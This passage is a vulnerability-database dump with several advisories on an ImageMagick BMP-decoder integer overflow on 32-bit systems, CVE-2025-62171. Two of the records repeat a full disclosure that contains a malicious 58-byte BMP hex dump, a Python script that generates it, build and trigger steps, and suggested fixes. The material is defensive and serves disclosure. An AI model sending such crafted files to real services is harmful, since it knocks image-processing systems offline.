files. In ImageMagick versions prior to 7.1.2-7 and 6.9.13-32, an integer overflow vulnerability exists in the BMP decoder on 32-bit systems. The vulnerability occurs in coders/bmp.c when calculating the extent value by multiplying image columns by bits per pixel. On 32-bit systems with size_t of 4 bytes, a malicious BMP file with specific dimensions can cause this multiplication to overflow and wrap to zero. The overflow check added to address CVE-2025-57803 is placed after the overflow occurs, making it ineffective. A specially crafted 58-byte BMP file with width set to 536,870,912 and 32 bits per pixel can trigger this overflow, causing the bytes_per_line calculation to become zero. This vulnerability only affects 32-bit builds of ImageMagick where default resource limits for width, height, and area have been manually increased beyond their defaults. 64-bit systems with size_t of 8 bytes are not vulnerable, and systems using default ImageMagick resource limits are not vulnerable. The vulnerability is fixed in versions 7.1.2-7 and 6.9.13-32.","status":"published","published":"2025-10-17T17:15:49.197Z","modified":"2026-10-23T17:47:31.489223096Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:47.697959Z"},{"id":"GHSA-9pp9-cfwx-54rm","title":"ImageMagick has Integer Overflow in BMP Decoder (ReadBMP)","description":"## Summary\n\nCVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but **the fix is incomplete and ineffective**. The latest version **7.1.2-5 remains vulnerable** to the same integer overflow attack.\n\nThe patch added `BMPOverflowCheck()` but placed it **after** the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS.\n\n**Affected Versions:**\n- ImageMagick \u003c 7.1.2-2 (originally reported)\n- **ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)**\n\n**Platform and Configuration Requirements:**\n- 32-bit systems ONLY (i386, i686, armv7l, etc.)\n- Requires `size_t = 4 bytes`. (64-bit systems are **NOT vulnerable** (size_t = 8 bytes))\n- Requires modified resource limits: The default `width`, `height`, and `area` limits must have been manually increased (Systems using default ImageMagick resource limits are **NOT vulnerable**).\n\n---\n\n## Details(Root Cause Analysis)\n\n### Vulnerable Code Location\n\n**File:** `coders/bmp.c`  \n**Lines:** 1120-1122 (in version 7.1.2-5)\n\n### The Incomplete Patch\n\n```c\n// Line 1120: Integer overflow happens HERE\nextent = image-\u003ecolumns * bmp_info.bits_per_pixel;  // OVERFLOW!\n\n// Line 1121: Uses already-overflowed value\nbytes_per_line = 4*((extent+31)/32);\n\n// Line 1122: Checks the RESULT, not the multiplication\nif (BMPOverflowCheck(bytes_per_line, image-\u003erows) != MagickFalse)\n    ThrowReaderException(CorruptImageError, \"InsufficientImageDataInFile\");\n```\n\n### Why the Patch Fails\n\n**Attack Vector (32-bit system):**\n```\nInput BMP Header:\n  Width: 536,870,912 (0x20000000)\n  Height: 1\n  Bits Per Pixel: 32\n\nCalculation on 32-bit system:\n  extent = 536,870,912 × 32\n         = 17,179,869,184 (0x400000000)\n         \n  32-bit truncation:\n  0x400000000 \u0026 0xFFFFFFFF = 0x00000000  ← Overflow to ZERO!\n  \n  bytes_per_line = 4 × ((0 + 31) / 32)\n                 = 4 × 0\n                 = 0\n  \n  BMPOverflowCheck(0, 1):\n    return (1 != 0) \u0026\u0026 (0 \u003e 4294967295UL/1)\n    return True \u0026\u0026 (0 \u003e 4294967295)\n    return True \u0026\u0026 False\n    return False  ← Does NOT detect overflow!\n```\n\n**The check fails because:**\n1. The overflow happens at Line 1120 (extent calculation)\n2. `extent` becomes 0 due to 32-bit truncation\n3. `bytes_per_line` is calculated as 0 (Line 1121)\n4. `BMPOverflowCheck(0, 1)` returns **False** (no overflow detected)\n5. Code proceeds with corrupted values → ASan crash\n\n---\n\n## PoC(Proof of Concept)\n\n### Minimal 58-byte BMP File\n\n**Hex dump:**\n```\n00000000  42 4d 3a 00 00 00 00 00  00 00 36 00 00 00 28 00  |BM:.......6...(.|\n00000010  00 00 00 00 00 20 01 00  00 00 01 00 20 00 00 00  |..... ...... ...|\n00000020  00 00 00 00 00 00 13 0b  00 00 13 0b 00 00 00 00  |................|\n00000030  00 00 00 00 00 00 00 00  00 00                    |..........|\n```\n\n**Key Fields:**\n- Offset 0x12: Width = `00 00 00 20` = 0x20000000 (536,870,912)\n- Offset 0x16: Height = `01 00 00 00` = 1\n- Offset 0x1C: BPP = `20 00` = 32\n\n### Python Generator\n\n```python\n#!/usr/bin/env python3\nimport struct\n\nwidth = 0x20000000   # 536,870,912\nheight = 1\nbpp = 32\n\n# BMP File Header (14 bytes)\nfile_header = b'BM'\nfile_header += struct.pack('\u003cI', 58)      # File size\nfile_header += struct.pack('\u003cHH', 0, 0)   # Reserved\nfile_header += struct.pack('\u003cI', 54)      # Pixel offset\n\n# DIB Header (40 bytes)\ndib_header = struct.pack('\u003cI', 40)        # Header size\ndib_header += struct.pack('\u003ci', width)    # Width\ndib_header += struct.pack('\u003ci', height)   # Height\ndib_header += struct.pack('\u003cH', 1)        # Planes\ndib_header += struct.pack('\u003cH', bpp)      # BPP\ndib_header += struct.pack('\u003cI', 0)        # Compression\ndib_header += struct.pack('\u003cI', 0)        # Image size\ndib_header += struct.pack('\u003ci', 2835)     # X ppm\ndib_header += struct.pack('\u003ci', 2835)     # Y ppm\ndib_header += struct.pack('\u003cI', 0)        # Colors\ndib_header += struct.pack('\u003cI', 0)        # Important colors\n\npixel_data = b'\\x00\\x00\\x00\\x00'\n\nwith open('overflow.bmp', 'wb') as f:\n    f.write(file_header + dib_header + pixel_data)\n\nprint(f\"Created overflow.bmp (58 bytes)\")\n```\n\n---\n\n## Reproduction Steps\n\n### Environment Setup\n\n```bash\n# Use 32-bit Docker container\ndocker run -it --name test-32bit i386/ubuntu:latest bash\n\n# Install dependencies\napt-get update\napt-get install -y clang build-essential wget tar \\\n    libpng-dev libjpeg-dev libfreetype6-dev libxml2-dev \\\n    zlib1g-dev liblzma-dev libbz2-dev\n\n# Download ImageMagick 7.1.2-5\ncd /tmp\nwget https://github.com/ImageMagick/ImageMagick/archive/refs/tags/7.1.2-5.tar.gz\ntar xzf 7.1.2-5.tar.gz\ncd ImageMagick-7.1.2-5\n```\n\n### Build with AddressSanitizer (32-bit IMPORTANT!)\n\n```bash\n# Configure for 32-bit build (CRITICAL - must be 32-bit!)\n./configure \\\n    --host=i686-pc-linux-gnu \\\n    --disable-dependency-tracking \\\n    --disable-silent-rules \\\n    --disable-shared \\\n    --disable-openmp \\\n    --disable-docs \\\n    --without-x \\\n    --without-perl \\\n    --without-magick-plus-plus \\\n    --without-lqr \\\n    --without-zstd \\\n    --without-tiff \\\n    --with-quantum-depth=8 \\\n    --disable-hdri \\\n    CFLAGS=\"-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined\" \\\n    CXXFLAGS=\"-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined\" \\\n    LDFLAGS=\"-fsanitize=address,undefined\"\n\nmake -j$(nproc)\n\n### Trigger the Vulnerability\n\n```bash\n# Set environment to bypass cache.c limits\nexport ASAN_OPTIONS=\"detect_leaks=0:malloc_context_size=20:allocator_may_return_null=1\"\nexport MAGICK_WIDTH_LIMIT=2000000000\nexport MAGICK_HEIGHT_LIMIT=2000000000\nexport MAGICK_AREA_LIMIT=10000000000\n\n# Test with malicious BMP (use Python script above to create it)\n./utilities/magick identify overflow.bmp\n```\n\n---\n\n## AddressSanitizer Output\n\n```\n==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_poisoning.cc:37 \n\"((AddrIsInMem(addr + size - (1ULL \u003c\u003c kDefaultShadowScale)))) != (0)\" (0x0, 0x0)\n=================================================================\n==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_descriptions.cc:80 \n\"((0 \u0026\u0026 \"Address is not in memory and not in shadow?\")) != (0)\" (0x0, 0x0)\n==56720==WARNING: ASan is ignoring requested __asan_handle_no_return: \nstack top: 0x40801000; bottom 0x4372f000; size: 0xfd0d2000 (-49471488)\nFalse positive error reports may follow\nFor details see https://github.com/google/sanitizers/issues/189\n```\n\nIt operates in the following environments.\n\n```\nexport MAGICK_WIDTH_LIMIT=2000000000\nexport MAGICK_HEIGHT_LIMIT=2000000000\nexport MAGICK_AREA_LIMIT=10000000000\n```\n\n## Impact\n\n### Attack Scenario\n\n1. Attacker creates a 58-byte malicious BMP file\n2. Uploads to web service that uses ImageMagick (on 32-bit system)\n3. ImageMagick attempts to process the image\n4. Integer overflow triggers AddressSanitizer crash\n5. Service becomes unavailable (Denial of Service)\n\n**Real-world targets:**\n- Web hosting platforms with image processing\n- CDN services with thumbnail generation\n- Legacy embedded systems\n- IoT devices running 32-bit Linux\n- Docker containers using 32-bit base images\n\n---\n\n## Recommended Fix\n\n### Correct Patch\n\nThe overflow check must happen **before** the multiplication:\n\n```c\n// Add overflow check BEFORE calculating extent\nif (BMPOverflowCheck(image-\u003ecolumns, bmp_info.bits_per_pixel) != MagickFalse)\n    ThrowReaderException(CorruptImageError, \"IntegerOverflowInDimensions\");\n\n// Now safe to calculate\nextent = image-\u003ecolumns * bmp_info.bits_per_pixel;\nbytes_per_line = 4*((extent+31)/32);\n\n// Additional safety check\nif (BMPOverflowCheck(bytes_per_line, image-\u003erows) != MagickFalse)\n    ThrowReaderException(CorruptImageError, \"InsufficientImageDataInFile\");\n```\n\n### Alternative: Use 64-bit Arithmetic\n\n```c\n// Force 64-bit calculation\nuint64_t extent_64 = (uint64_t)image-\u003ecolumns * (uint64_t)bmp_info.bits_per_pixel;\n\nif (extent_64 \u003e UINT32_MAX)\n    ThrowReaderException(CorruptImageError, \"ImageDimensionsTooLarge\");\n\nextent = (size_t)extent_64;\nbytes_per_line = 4*((extent+31)/32);\n```\n\n### Credits\nwooseokdotkim\nwooseokdotkim@gmail.com","status":"published","published":"2025-10-28T14:43:20Z","modified":"2025-11-03T19:50:59.097944Z","cvss":[{"version":"3.1","score":4.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-190"],"updated_at":"2026-11-02T15:46:43.875515Z"},{"id":"JLSEC-2026-927","title":"ImageMagick has Integer Overflow in BMP Decoder (ReadBMP)","description":"## Summary\n\nCVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but **the fix is incomplete and ineffective**. The latest version **7.1.2-5 remains vulnerable** to the same integer overflow attack.\n\nThe patch added `BMPOverflowCheck()` but placed it **after** the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS.\n\n**Affected Versions:**\n\n  - ImageMagick \u003c 7.1.2-2 (originally reported)\n  - **ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)**\n\n**Platform and Configuration Requirements:**\n\n  - 32-bit systems ONLY (i386, i686, armv7l, etc.)\n  - Requires `size_t = 4 bytes`. (64-bit systems are **NOT vulnerable** (size_t = 8 bytes))\n  - Requires modified resource limits: The default `width`, `height`, and `area` limits must have been manually increased (Systems using default ImageMagick resource limits are **NOT vulnerable**).\n\n* * *\n\n## Details(Root Cause Analysis)\n\n### Vulnerable Code Location\n\n**File:** `coders/bmp.c`\n**Lines:** 1120-1122 (in version 7.1.2-5)\n\n### The Incomplete Patch\n\n```c\n// Line 1120: Integer overflow happens HERE\nextent = image-\u003ecolumns * bmp_info.bits_per_pixel;  // OVERFLOW!\n\n// Line 1121: Uses already-overflowed value\nbytes_per_line = 4*((extent+31)/32);\n\n// Line 1122: Checks the RESULT, not the multiplication\nif (BMPOverflowCheck(bytes_per_line, image-\u003erows) != MagickFalse)\n    ThrowReaderException(CorruptImageError, \"InsufficientImageDataInFile\");\n```\n\n### Why the Patch Fails\n\n**Attack Vector (32-bit system):**\n\n```\nInput BMP Header:\n  Width: 536,870,912 (0x20000000)\n  Height: 1\n  Bits Per Pixel: 32\n\nCalculation on 32-bit system:\n  extent = 536,870,912 × 32\n         = 17,179,869,184 (0x400000000)\n         \n  32-bit truncation:\n  0x400000000 \u0026 0xFFFFFFFF = 0x00000000  ← Overflow to ZERO!\n  \n  bytes_per_line = 4 × ((0 + 31) / 32)\n                 = 4 × 0\n                 = 0\n  \n  BMPOverflowCheck(0, 1):\n    return (1 != 0) \u0026\u0026 (0 \u003e 4294967295UL/1)\n    return True \u0026\u0026 (0 \u003e 4294967295)\n    return True \u0026\u0026 False\n    return False  ← Does NOT detect overflow!\n```\n\n**The check fails because:**\n\n 1. The overflow happens at Line 1120 (extent calculation)\n 2. `extent` becomes 0 due to 32-bit truncation\n 3. `bytes_per_line` is calculated as 0 (Line 1121)\n 4. `BMPOverflowCheck(0, 1)` returns **False** (no overflow detected)\n 5. Code proceeds with corrupted values → ASan crash\n\n* * *\n\n## PoC(Proof of Concept)\n\n### Minimal 58-byte BMP File\n\n**Hex dump:**\n\n```\n00000000  42 4d 3a 00 00 00 00 00  00 00 36 00 00 00 28 00  |BM:.......6...(.|\n00000010  00 00 00 00 00 20 01 00  00 00 01 00 20 00 00 00  |..... ...... ...|\n00000020  00 00 00 00 00 00 13 0b  00 00 13 0b 00 00 00 00  |................|\n00000030  00 00 00 00 00 00 00 00  00 00                    |..........|\n```\n\n**Key Fields:**\n\n  - Offset 0x12: Width = `00 00 00 20` = 0x20000000 (536,870,912)\n  - Offset 0x16: Height = `01 00 00 00` = 1\n  - Offset 0x1C: BPP = `20 00` = 32\n\n### Python Generator\n\n```python\n#!/usr/bin/env python3\nimport struct\n\nwidth = 0x20000000   # 536,870,912\nheight = 1\nbpp = 32\n\n# BMP File Header (14 bytes)\nfile_header = b'BM'\nfile_header += struct.pack('\u003cI', 58)      # File size\nfile_header += struct.pack('\u003cHH', 0, 0)   # Reserved\nfile_header += struct.pack('\u003cI', 54)      # Pixel offset\n\n# DIB Header (40 bytes)\ndib_header = struct.pack('\u003cI', 40)        # Header size\ndib_header += struct.pack('\u003ci', width)    # Width\ndib_header += struct.pack('\u003ci', height)   # Height\ndib_header += struct.pack('\u003cH', 1)        # Planes\ndib_header += struct.pack('\u003cH', bpp)      # BPP\ndib_header += struct.pack('\u003cI', 0)        # Compression\ndib_header += struct.pack('\u003cI', 0)        # Image size\ndib_header += struct.pack('\u003ci', 2835)     # X ppm\ndib_header += struct.pack('\u003ci', 2835)     # Y ppm\ndib_header += struct.pack('\u003cI', 0)        # Colors\ndib_header += struct.pack('\u003cI', 0)        # Important colors\n\npixel_data = b'\\x00\\x00\\x00\\x00'\n\nwith open('overflow.bmp', 'wb') as f:\n    f.write(file_header + dib_header + pixel_data)\n\nprint(f\"Created overflow.bmp (58 bytes)\")\n```\n\n* * *\n\n## Reproduction Steps\n\n### Environment Setup\n\n```bash\n# Use 32-bit Docker container\ndocker run -it --name test-32bit i386/ubuntu:latest bash\n\n# Install dependencies\napt-get update\napt-get install -y clang build-essential wget tar \\\n    libpng-dev libjpeg-dev libfreetype6-dev libxml2-dev \\\n    zlib1g-dev liblzma-dev libbz2-dev\n\n# Download ImageMagick 7.1.2-5\ncd /tmp\nwget https://github.com/ImageMagick/ImageMagick/archive/refs/tags/7.1.2-5.tar.gz\ntar xzf 7.1.2-5.tar.gz\ncd ImageMagick-7.1.2-5\n```\n\n### Build with AddressSanitizer (32-bit IMPORTANT!)\n\n```bash\n# Configure for 32-bit build (CRITICAL - must be 32-bit!)\n./configure \\\n    --host=i686-pc-linux-gnu \\\n    --disable-dependency-tracking \\\n    --disable-silent-rules \\\n    --disable-shared \\\n    --disable-openmp \\\n    --disable-docs \\\n    --without-x \\\n    --without-perl \\\n    --without-magick-plus-plus \\\n    --without-lqr \\\n    --without-zstd \\\n    --without-tiff \\\n    --with-quantum-depth=8 \\\n    --disable-hdri \\\n    CFLAGS=\"-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined\" \\\n    CXXFLAGS=\"-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined\" \\\n    LDFLAGS=\"-fsanitize=address,undefined\"\n\nmake -j$(nproc)\n\n### Trigger the Vulnerability\n\n```bash\n# Set environment to bypass cache.c limits\nexport ASAN_OPTIONS=\"detect_leaks=0:malloc_context_size=20:allocator_may_return_null=1\"\nexport MAGICK_WIDTH_LIMIT=2000000000\nexport MAGICK_HEIGHT_LIMIT=2000000000\nexport MAGICK_AREA_LIMIT=10000000000\n\n# Test with malicious BMP (use Python script above to create it)\n./utilities/magick identify overflow.bmp\n```\n\n* * *\n\n## AddressSanitizer Output\n\n```\n==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_poisoning.cc:37 \n\"((AddrIsInMem(addr + size - (1ULL \u003c\u003c kDefaultShadowScale)))) != (0)\" (0x0, 0x0)\n=================================================================\n==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_descriptions.cc:80 \n\"((0 \u0026\u0026 \"Address is not in memory and not in shadow?\")) != (0)\" (0x0, 0x0)\n==56720==WARNING: ASan is ignoring requested __asan_handle_no_return: \nstack top: 0x40801000; bottom 0x4372f000; size: 0xfd0d2000 (-49471488)\nFalse positive error reports may follow\nFor details see https://github.com/google/sanitizers/issues/189\n```\n\nIt operates in the following environments.\n\n```\nexport MAGICK_WIDTH_LIMIT=2000000000\nexport MAGICK_HEIGHT_LIMIT=2000000000\nexport MAGICK_AREA_LIMIT=10000000000\n```\n\n## Impact\n\n### Attack Scenario\n\n 1. Attacker creates a 58-byte malicious BMP file\n 2. Uploads to web service that uses ImageMagick (on 32-bit system)\n 3. ImageMagick attempts to process the image\n 4. Integer overflow triggers AddressSanitizer crash\n 5. Service becomes unavailable (Denial of Service)\n\n**Real-world targets:**\n\n  - Web hosting platforms with image processing\n  - CDN services with thumbnail generation\n  - Legacy embedded systems\n  - IoT devices running 32-bit Linux\n  - Docker containers using 32-bit base images\n\n* * *\n\n## Recommended Fix\n\n### Correct Patch\n\nThe overflow check must happen **before** the multiplication:\n\n```c\n// Add overflow check BEFORE calculating extent\nif (BMPOverflowCheck(image-\u003ecolumns, bmp_info.bits_per_pixel) != MagickFalse)\n    ThrowReaderException(CorruptImageError, \"IntegerOverflowInDimensions\");\n\n// Now safe to calculate\nextent = image-\u003ecolumns * bmp_info.bits_per_pixel;\nbytes_per_line = 4*((extent+31)/32);\n\n// Additional safety check\nif (BMPOverflowCheck(bytes_per_line, image-\u003erows) != MagickFalse)\n    ThrowReaderException(CorruptImageError, \"InsufficientImageDataInFile\");\n```\n\n### Alternative: Use 64-bit Arithmetic\n\n```c\n// Force 64-bit calculation\nuint64_t extent_64 = (uint64_t)image-\u003ecolumns * (uint64_t)bmp_info.bits_per_pixel;\n\nif (extent_64 \u003e UINT32_MAX)\n    ThrowReaderException(CorruptImageError, \"ImageDimensionsTooLarge\");\n\nextent = (size_t)extent_64;\nbytes_per_line = 4*((extent+31)/32);\n```\n\n### Credits\n\nwooseokdotkim\nwooseokdotkim@gmail.com","status":"published","published":"2026-07-30T16:02:27.435Z","modified":"2026-07-30T18:35:45.342248953Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:47:19.003546Z"},{"id":"OESA-2025-2497","title":"ImageMagick security update","description":"Use ImageMagick to create, edit, compose, or convert bitmap images. It can read and write images in a variety of formats (over 200) including PNG, JPEG, GIF, HEIC, TIFF, DPX, EXR, WebP, Postscript, PDF, and SVG. Use ImageMagick to resize, flip, mirror, rotate, distort, shear and transform images, adjust image colors, apply various special effects, or draw text, lines, polygons, ellipses and Bézier curves.\r\n\r\nSecurity Fix(es):\n\nImageMagick contains an integer overflow vulnerability in the BMP decoder. An attacker can exploit this vulnerability by providing a specially crafted BMP file, leading to buffer overflow or denial of service.(CVE-2025-62171)","status":"published","published":"2025-10-24T11:09:35Z","modified":"2026-08-18T01:19:15.338851388Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:52:44.957082Z"},{"id":"OESA-2025-2498","title":"ImageMagick security update","description":"Use ImageMagick to create, edit, compose, or convert bitmap images. It can read and write images in a variety of formats (over 200) including PNG, JPEG, GIF, HEIC, TIFF, DPX, EXR, WebP, Postscript, PDF, and SVG. Use ImageMagick to resize, flip, mirror, rotate, distort, shear and transform images, adjust image colors, apply various special effects, or draw text, lines, polygons, ellipses and Bézier curves.\r\n\r\nSecurity Fix(es):\n\nImageMagick contains an integer overflow vulnerability in the BMP decoder. An attacker can exploit this vulnerability by providing a specially crafted BMP file, leading to buffer overflow or denial of service.(CVE-2025-62171)","status":"published","published":"2025-10-24T11:09:35Z","modified":"2026-08-18T01:19:15.343992446Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:52:44.957082Z"},{"id":"OESA-2025-2499","title":"ImageMagick security update","description":"Use ImageMagick to create, edit, compose, or convert bitmap images. It can read and write images in a variety of formats (over 200) including PNG, JPEG, GIF, HEIC, TIFF, DPX, EXR, WebP, Postscript, PDF, and SVG. Use ImageMagick to resize, flip, mirror, rotate, distort, shear and transform images, adjust image colors, apply various special effects, or draw text, lines, polygons, ellipses and Bézier curves.\r\n\r\nSecurity Fix(es):\n\nImageMagick contains an integer overflow vulnerability in the BMP decoder. An attacker can exploit this vulnerability by providing a specially crafted BMP file, leading to buffer overflow or denial of service.(CVE-2025-62171)","status":"published","published":"2025-10-24T11:09:35Z","modified":"2026-08-18T01:19:15.388106778Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:52:44.957082Z"},{"id":"OESA-2025-2500","title":"ImageMagick security update","description":"Use ImageMagick to create, edit, compose, or convert bitmap images. It can read and write images in a variety of formats (over 200) including PNG, JPEG, GIF, HEIC, TIFF, DPX, EXR, WebP, Postscript, PDF, and SVG. Use ImageMagick to resize, flip, mirror, rotate, distort, shear and transform images, adjust image colors, apply various special effects, or draw text, lines, polygons, ellipses and Bézier curves.\r\n\r\nSecurity Fix(es):\n\nImageMagick contains an integer overflow vulnerability in the BMP decoder. An attacker can exploit this vulnerability by providing a specially crafted BMP file, leading to buffer overflow or denial of service.(CVE-2025-62171)","status":"published","published":"2025-10-24T11:09:35Z","modified":"2026-08-18T01:19:15.144559772Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:52:44.957082Z"},{"id":"OESA-2025-2501","title":"ImageMagick security update","description":"Use ImageMagick to create, edit, compose, or convert bitmap images. It can read and write images in a variety of formats (over 200) including PNG, JPEG, GIF, HEIC, TIFF, DPX, EXR, WebP, Postscript, PDF, and SVG. Use ImageMagick to resize, flip, mirror, rotate, distort, shear and transform images, adjust image colors, apply various special effects, or draw text, lines, polygons, ellipses and Bézier curves.\r\n\r\nSecurity Fix(es):\n\nImageMagick contains an integer overflow vulnerability in the BMP decoder. An attacker can exploit this vulnerability by providing a specially crafted BMP file, leading to buffer overflow or denial of service.(CVE-2025-62171)","status":"published","published":"2025-10-24T11:09:35Z","modified":"2026-08-18T01:19:15.504197738Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:52:44.957082Z"},{"id":"OESA-2025-2588","title":"ImageMagick security update","description":"Use ImageMagick to create, edit, compose, or convert bitmap images. It can read and write images in a variety of formats (over 200) including PNG, JPEG, GIF, HEIC, TIFF, DPX, EXR, WebP, Postscript, PDF, and SVG. Use ImageMagick to resize, flip, mirror, rotate, distort, shear and transform images, adjust image colors, apply various special effects, or draw text, lines, polygons, ellipses and Bézier curves.\r\n\r\nSecurity Fix(es):\n\nImageMagick contains an integer overflow vulnerability in the BMP decoder. An attacker can exploit this vulnerability by providing a specially crafted BMP file, leading to buffer overflow or denial of service.(CVE-2025-62171)\n\nImageMagick is a software suite to create, edit, compose, or convert bitmap images. ImageMagick versions prior to 7.1.2-8 are vulnerable to denial-of-service due to unsigned integer underflow and division-by-zero in the CLAHEImage function. When tile width or height is zero, unsigned underflow occurs in pointer arithmetic, leading to out-of-bounds memory access, and division-by-zero causes immediate crashes. This issue has been patched in version 7.1.2-8.(CVE-2025-62594)","status":"published","published":"2025-10-31T11:09:41Z","modified":"2026-08-18T01:19:17.457508525Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:52:44.957082Z"},{"id":"RHSA-2026:3058","title":"Red Hat Security Advisory: ImageMagick security update","status":"published","published":"2026-02-24T10:14:39Z","modified":"2026-08-07T10:25:17Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:19.963895Z"},{"id":"UBUNTU-CVE-2025-62171","description":"ImageMagick is an open source software suite for displaying, converting, and editing raster image files. In ImageMagick versions prior to 7.1.2-7 and 6.9.13-32, an integer overflow vulnerability exists in the BMP decoder on 32-bit systems. The vulnerability occurs in coders/bmp.c when calculating the extent value by multiplying image columns by bits per pixel. On 32-bit systems with size_t of 4 bytes, a malicious BMP file with specific dimensions can cause this multiplication to overflow and wrap to zero. The overflow check added to address CVE-2025-57803 is placed after the overflow occurs, making it ineffective. A specially crafted 58-byte BMP file with width set to 536,870,912 and 32 bits per pixel can trigger this overflow, causing the bytes_per_line calculation to become zero. This vulnerability only affects 32-bit builds of ImageMagick where default resource limits for width, height, and area have been manually increased beyond their defaults. 64-bit systems with size_t of 8 bytes are not vulnerable, and systems using default ImageMagick resource limits are not vulnerable. The vulnerability is fixed in versions 7.1.2-7 and 6.9.13-32.","status":"published","published":"2025-10-17T17:15:00Z","modified":"2026-05-20T16:23:42.09896279Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"medium"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:55:50.817402Z"},{"id":"CLSA-2025-1764280893","title":"ImageMagick: Fix of CVE-2025-62171","description":"- CVE-2025-62171: add overflow check before calculating extent in the BMP decoder","status":"published","published":"2025-11-27T22:12:27Z","modified":"2026-06-01T00:33:08.240807797Z","updated_at":"2026-11-02T15:43:42.847264Z"},{"id":"CLSA-2025-1764324335","title":"Fix CVE(s): CVE-2025-62171","description":"   * SECURITY UPDATE: integer overflow vulnerability in BMP decoder on 32-bit\n     systems\n     - debian/patches/CVE-2025-62171.patch: add extra check to fix issue on\n       32-bit systems\n     - CVE-2025-62171","status":"published","published":"2025-11-28T10:05:39Z","modified":"2026-06-04T10:03:52.971025Z","updated_at":"2026-11-02T15:43:42.847264Z"},{"id":"CLSA-2025-1764324579","title":"Fix CVE(s): CVE-2025-62171","description":"   * SECURITY UPDATE: integer overflow vulnerability in BMP decoder on 32-bit\n     systems\n     - debian/patches/CVE-2025-62171.patch: add extra check to resolve issue on\n       32-bit systems\n     - CVE-2025-62171","status":"published","published":"2025-11-28T10:09:42Z","modified":"2026-06-04T10:03:43.470001Z","updated_at":"2026-11-02T15:43:42.847264Z"},{"id":"CLSA-2025-1764773600","title":"Fix CVE(s): CVE-2025-62171","description":"   * SECURITY UPDATE: integer overflow vulnerability in BMP decoder on 32-bit\n     systems\n     - debian/patches/CVE-2025-62171.patch: add extra check to resolve issue on\n       32-bit systems caused by memory allocation failure\n     - CVE-2025-62171","status":"published","published":"2025-12-03T14:53:24Z","modified":"2026-06-04T10:03:48.556618Z","updated_at":"2026-11-02T15:43:42.847264Z"},{"id":"CLSA-2026-1776178825","title":"Fix of 8 CVEs","description":"   * SECURITY UPDATE: fix vulnerability in stream handling\n     - debian/patches/CVE-2025-53019.patch: fix vulnerability in stream handling\n     - CVE-2025-53019\n   * SECURITY UPDATE: fix integer overflow in resize\n     - debian/patches/CVE-2025-55212.patch: fix integer overflow in resize\n     - CVE-2025-55212\n   * SECURITY UPDATE: fix heap-based buffer overflow in image processing\n     - debian/patches/CVE-2025-55298.patch: fix heap-based buffer overflow in image processing\n     - CVE-2025-55298\n   * SECURITY UPDATE: fix buffer overflow in BMP coder\n     - debian/patches/CVE-2025-57803.patch: fix buffer overflow in BMP coder\n     - CVE-2025-57803\n   * SECURITY UPDATE: fix vulnerability in PNG coder\n     - debian/patches/CVE-2025-55154.patch: fix vulnerability in PNG coder\n     - CVE-2025-55154\n   * SECURITY UPDATE: fix buffer overflow in BMP coder on 32-bit systems\n     - debian/patches/CVE-2025-62171.patch: fix buffer overflow in BMP coder on 32-bit systems\n     - CVE-2025-62171\n   * SECURITY UPDATE: fix stack overflow via infinite recursion in MSL and SVG coders\n     - debian/patches/CVE-2025-68618.patch: fix stack overflow via infinite recursion in MSL and SVG coders\n     - CVE-2025-68618\n   * SECURITY UPDATE: fix denial of service in SVG coder\n     - debian/patches/CVE-2025-69204.patch: fix denial of service in SVG coder\n     - CVE-2025-69204","status":"published","published":"2026-04-14T15:00:30Z","modified":"2026-06-04T10:04:20.383255891Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"DLA-4339-1","title":"imagemagick - security 